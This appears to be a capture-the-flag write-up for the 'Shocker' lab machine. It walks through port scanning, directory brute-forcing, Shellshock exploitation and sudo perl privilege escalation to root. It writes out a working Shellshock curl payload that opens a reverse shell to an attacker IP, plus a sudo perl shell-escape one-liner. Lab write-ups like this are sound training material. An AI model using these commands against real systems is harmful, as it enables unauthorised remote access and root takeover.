Summary

Shocker is an easy Linux box that can be exploited with CVE-2014-6271. Privileges can be escalated with the perl binary which can be run with root privileges.


Discovery

Nmap discovered the following open ports and services:

nmap -sC -sV -oN fullscan -Pn 10.129.24.92

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The first thing I checked was the webserver. The user is presented with the following:

Checked the source code with ctrl + u but found nothing relevant so I started a directory brute-force with the following command:

dirb http://10.129.24.92

This gave the following results:

---- Scanning URL: http://10.129.24.92/ ----
+ http://10.129.24.92/cgi-bin/ (CODE:403|SIZE:295)                                                                                  
+ http://10.129.24.92/index.html (CODE:200|SIZE:137)   

Exploitation

The cgi-bin directory is suspicious as this, in combination with the Apache Version, indicates a possibility of the Shellshock vulnerability: CVE-2014-6271. However, to be able to exploit this you need to discover a file that you can access in this directory. To identify such a file the following command was run: dirb http://10.129.24.92/cgi-bin/ -X .sh

---- Scanning URL: http://10.129.24.92/cgi-bin/ ----
+ http://10.129.24.92/cgi-bin/user.sh (CODE:200|SIZE:119)

With this information you can open a netcat shell by issuing the following command: curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.33/9999 0>&1' http://10.129.24.92/cgi-bin/user.sh Now you can go to the home directory as usually and obtain user.txt:

shelly@Shocker:/home/shelly$ ppwwdd

/home/shelly
shelly@Shocker:/home/shelly$ ccaatt  uusseerr..ttxxtt

2ec24e11320026d1e70[...]

Privilege Escalation

To obtain root you have to run sudo -l. This will display the following:

	shelly@Shocker:/etc/selinux$ ssuuddoo  --ll

Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/etc/selinux$ 

    sudo perl -e 'exec "/bin/sh";'

If you see such entries you should always checkout this website to search for a quick privilege escalation. GTFObins says the following:

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. sudo perl -e ’exec “/bin/sh”;'

By executing that command you obtain a root shell:

whoami
root

cd /root

ls
root.txt

cat root.txt
52c2715605d70c761[...]